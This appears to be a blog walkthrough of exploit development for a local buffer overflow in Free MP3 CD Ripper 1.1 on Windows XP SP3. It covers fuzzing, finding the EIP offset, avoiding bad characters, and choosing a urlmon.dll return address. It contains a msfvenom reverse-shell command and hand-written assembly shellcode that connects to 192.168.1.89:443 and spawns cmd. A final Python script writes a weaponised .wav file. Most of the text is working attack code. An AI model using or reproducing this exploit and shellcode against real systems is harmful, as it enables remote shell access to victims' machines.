Free MP3 CD Ripper 1.1 Local Buffer Overflow Walkthrough

reference Free MP3 CD Ripper 1.1 - Local Buffer Overflow
os name Microsoft Windows XP Professional
os version 5.1.2600 Service Pack 3 Build 2600
system type x86-based PC

fuzz

exploit.py
1
2
3
4
payload="A"*5000

with open("exploit.wav", "w") as fp:
fp.write(payload)
1
msf-pattern_offset -q 31684630 -l 5000
exploit.py
1
2
3
4
5
6
payload="A"*4112
payload+="BBBB"
payload+="C"*500

with open("exploit.wav", "w") as fp:
fp.write(payload)

Now we can control EIP:

badchar

The return address and shellcode cannot contain \x00\x0a.

After removing \x00\x0a:

return address

There are many return addresses for us to avoid badchars.

The original exploit use 0x76b43adc, which is located in winmm.dll:

Here we use 0x7e21c21c from C:\Windows\system32\urlmon.dll as the return address.

exploit.py
1
2
3
4
5
6
7
payload="A"*4112
# urlmon.dll: 0x7e21c21c
payload+="\x1c\xc2\x21\x7e"
payload+="C"*5000

with open("exploit.wav", "w") as fp:
fp.write(payload)

shellcode

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.89 LPORT=443 -v shellcode -f python -b "\x00\x0a"

But access violation when decoding the shellcode:

Where 0x18300000 is readonly:

I need to write a shellcode manually without decoding stuff to shorten the length.

After a short search, I decide to use this reverse shell.
But there’s some problems which we need to fix.

  • null byte
    The original shellcode has \x00.

  • add ExitProcess
    Let the process exit gracefully.

  • replace system to CreateProcess
    The reverse shell needs to detach from the original process.

Steps to create a reverse shell:

Here the reverse shell shellcode is created for Windows XP SP3 only, since the address is hardcoded.

procAddr.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main(int argc, char *argv[]) {
FARPROC addr;

if (argc != 3) {
printf("usage: %s dll func\n", argv[0]);
exit(-1);
}

if ((addr = GetProcessAddress(LoadLibrary(argv[1]), argv[2])) == NULL) {
printf("no result\n");
exit(-1);
}

printf("%s is at 0x%x\n", argv[2], addr);
}

A more general version of reverse shell shellcode will be added.

LoadLibraryA

1
2
3
HMODULE LoadLibraryA(
LPCSTR lpLibFileName
);
1
.\procAddr.exe C:\WINDOWS\system32\kernel32.dll LoadLibraryA

The address of LoadLibraryA is 0x7c801d7b:

rs.asm(partial)
1
2
3
4
5
6
7
xor eax, eax
mov ax, 0x3233
push eax ; 32\0
push 0x5f327377 ; ws2_
push esp
mov eax, 0x7c801d7b
call eax

But we don’t really need to load ws2_32.dll manually because it has already been loaded from the original process.

WSAStartup

WSAStartup
1
2
3
4
int WSAStartup(
WORD wVersionRequired,
LPWSADATA lpWSAData
);

The address of WSAStartup is 0x71ab6a55:

rs.asm(partial)
1
2
3
4
5
add esp, 0xFFFFFE70 ; Creating space on stack (400 bytes)
push esp ; Arg lpWSAData = top of stack
push 0x202 ; Arg wVersionRequired = 2.2
mov eax, 0x71ab6a55 ; WSAStartup
call eax

Note this executable file cannot run directly because of the lack of LoadLibraryA ws2_32.dll.

1
objdump -d -M intel ./rs.exe
1
2
3
4
5
401000:       81 c4 70 fe ff ff       add    esp,0xfffffe70
401006: 54 push esp
401007: 68 02 02 00 00 push 0x202
40100c: b8 55 6a ab 71 mov eax,0x71ab6a55
401011: ff d0 call eax

Avoid null byte:

1
2
3
xor eax, eax        ; 31 c0
mov ax, 0x0202 ; 66 b8 02 02
push eax ; 50

WSASocketA

WSASocketA
1
2
3
4
5
6
7
8
SOCKET WSAAPI WSASocketA(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOA lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
param af
1
2
3
4
5
6
7
8
AF_UNSPEC       0
AF_INET 2 # IPv4
AF_IPX 6 # IPX/SPX
AF_APPLETALK 16 # AppleTalk
AF_NETBIOS 17 # NetBIOS
AF_INET6 23 # IPv6
AF_IRDA 26 # Infrared Data Association
AF_BTH 32 # Bluetooth
param type
1
2
3
4
5
SOCK_STREAM     1 # TCP
SOCK_DGRAM 2 # UDP
SOCK_RAW 3
SOCK_RDM 4
SOCK_SEQPACKET 5
param protocol
1
2
3
4
5
6
7
IPPROTO_ICMP    1   # ICMP
IPPROTO_IGMP 2 # IGMP
BTHPROTO_RFCOMM 3
IPPROTO_TCP 6 # TCP
IPPROTO_UDP 17 # UDP
IPPROTO_ICMPV6 58
IPPROTO_RM 113

The address of WSASocketA is 0x71ab8b6a:

rs.asm(partial)
1
2
3
4
5
6
7
8
9
10
xor eax, eax
push eax ; Arg dwFlags = 0
push eax ; Arg g = 0
push eax ; Arg lpProtocolInfo = 0
push 0x6 ; Arg protocol = IPPROTO_TCP
push 0x1 ; Arg type = SOCK_STREAM
push 0x2 ; Arg af = AF_INET
mov eax, 0x71ab8b6a
call eax
mov ebx, eax ; Store WSASocket() handler

connect

connect
1
2
3
4
5
int WSAAPI connect(
SOCKET s,
const sockaddr *name,
int namelen
);

The address of connect is 0x71ab4a07:

rs.asm(partial)
1
2
3
4
5
6
7
8
9
10
11
12
push 0x5901a8c0      ; IP address, 192.168.1.89
mov eax, 0xbb010102 ; Port nr, 443 (first 2 bytes)
dec ah ; eax: 0xbb010102 -> 0xbb010002 (Mitigating null byte)
push eax ; Store portnr on stack
mov esi, esp ; Store pointer to portnr
xor eax, eax
mov al, 0x10
push eax ; Arg namelen = 16 bytes
push esi ; Arg *name = esi -> 0xbb010002
push ebx ; Arg s = WSASocket() handler
mov eax, 0x71ab4a07
call eax

CreateProcessA

According to this manual, when attaching to a new console, standard handles are always replaced with console handles unless STARTF_USESTDHANDLES was specified during process creation.

If STARTF_USESTDHANDLES is not specified, cmd will pop up on the target:

STARTUPINFOA structure:

STARTUPINFOA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

PROCESS_INFORMATION structure:

PROCESS_INFORMATION
1
2
3
4
5
6
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
CreateProcessA
1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);

The address of CreateProcessA is 0x7c80236b:

The code below is derived from this page.

rs.asm(partial)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
mov edi, ebx                ; WSASocket() handler

; mov ebx, esp ; PROCESS_INFORMATION
mov edx, 0x646d6363 ; ccmd
shr edx, 0x8 ; 0x00646d63
push edx ; cmd\0
mov ecx, esp ; lpCommandLine
xor edx, edx
sub esp, 0x10
mov ebx, esp ; PROCESS_INFORMATION
push edi ; hStdError
push edi ; hStdOutput
push edi ; hStdInput
push edx ; lpReserved2. Reserved for use by the C Run-time; must be NULL.
push edx ; cbReserved2. Reserved for use by the C Run-time; must be zero.
; wShowWindow?
; If dwFlags specifies STARTF_USESHOWWINDOW, this member can be any of the values that can be specified in the nCmdShow parameter for the ShowWindow function, except for SW_SHOWDEFAULT. Otherwise, this member is ignored.
xor eax, eax
inc eax ; 0x1
rol eax, 0x8 ; 0x100
inc eax ; 0x101
push eax ; dwFlags, STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES
push edx ; dwFillAttribute
push edx ; dwYCountChars
push edx ; dwXCountChars
push edx ; dwYSize
push edx ; dwXSize
push edx ; dwY
push edx ; dwX
push edx ; lpTitle
push edx ; lpDesktop
push edx ; lpReserved. Reserved; must be NULL.
xor eax, eax
add al, 0x2c
push eax ; cb
mov eax, esp ; STARTUPINFOA pointer
push ebx ; lpProcessInformation
push eax ; lpStartupInfo
push edx ; lpCurrentDirectory
push edx ; lpEnvironment
push edx ; dwCreationFlags
xor eax, eax
inc eax ; 1
push eax ; bInheritHandles. If this parameter is TRUE, each inheritable handle in the calling process is inherited by the new process.
push edx ; lpThreadAttributes
push edx ; lpProcessAttributes
push ecx ; lpCommandLine
push edx ; lpApplicationName
mov eax, 0x7c80236b
call eax

Why there’s no wShowWindow when constructing structure STARTUPINFOA?

ExitProcess

The original reverse shell doesn’t exit gracefully, which will cause the program exit abnormally.

ExitProcess
1
2
3
void ExitProcess(
UINT uExitCode
);

The address of ExitProcess is 0x7c81cafa:

rs.asm(partial)
1
2
3
4
xor eax, eax
push eax
mov eax, 0x7c81cafa
call eax

rs.asm

Finally, the whole rs.asm:

rs.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
[BITS 32]
global _start
section .text
_start:

; WSAStartup
add esp, 0xFFFFFE70
push esp
xor eax, eax
mov ax, 0x0202
push eax
mov eax, 0x71ab6a55
call eax

; WSASocketA
xor eax, eax
push eax
push eax
push eax
push 0x6
push 0x1
push 0x2
mov eax, 0x71ab8b6a
call eax
mov ebx, eax

; connect
push 0x5901a8c0
mov eax, 0xbb010102
dec ah
push eax
mov esi, esp
xor eax, eax
mov al, 0x10
push eax
push esi
push ebx
mov eax, 0x71ab4a07
call eax

; CreateProcessA
mov edi, ebx
mov edx, 0x646d6363
shr edx, 0x8
push edx
mov ecx, esp
xor edx, edx
sub esp, 0x10
mov ebx, esp
push edi
push edi
push edi
push edx
push edx
xor eax, eax
inc eax
rol eax, 0x8
inc eax
push eax
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
xor eax, eax
add al, 0x2c
push eax
mov eax, esp
push ebx
push eax
push edx
push edx
push edx
xor eax, eax
inc eax
push eax
push edx
push edx
push ecx
push edx
mov eax, 0x7c80236b
call eax

; ExitProcess
xor eax, eax
push eax
mov eax, 0x7c81cafa
call eax

compile

1
2
nasm -f win32 -o rs.obj rs.asm
ld rs.obj -o rs.exe
1
objdump -d -M intel ./rs.exe

exploit.py

The whole exploit.py with the 156 bytes shellcode:

exploit.py
1
2
3
4
5
6
7
8
9
shellcode="\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\x05\x11\x11\x11\x11\x05\xf0\xf1\xee\xee\x50\xb8\x55\x6a\xab\x71\xff\xd0\x31\xc0\x50\x50\x50\x6a\x06\x6a\x01\x6a\x02\xb8\x6a\x8b\xab\x71\xff\xd0\x89\xc3\x68\xc0\xa8\x01\x59\xb8\x02\x01\x01\xbb\xfe\xcc\x50\x89\xe6\x31\xc0\xb0\x10\x50\x56\x53\xb8\x07\x4a\xab\x71\xff\xd0\x89\xdf\xba\x63\x63\x6d\x64\xc1\xea\x08\x52\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x40\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xb8\x6b\x23\x80\x7c\xff\xd0\x31\xc0\x50\xb8\xfa\xca\x81\x7c\xff\xd0"

payload="A"*4112
# urlmon.dll: 0x7e21c21c
payload+="\x1c\xc2\x21\x7e"
payload+=shellcode

with open("exploit.wav", "w") as fp:
fp.write(payload)

debug

Before calling WSAStartup:

Before calling WSASocketA:

Before calling connect:

After pushing struct STARTUPINFOA:

Before calling CreateProcessA:

Before calling ExitProcess:

proof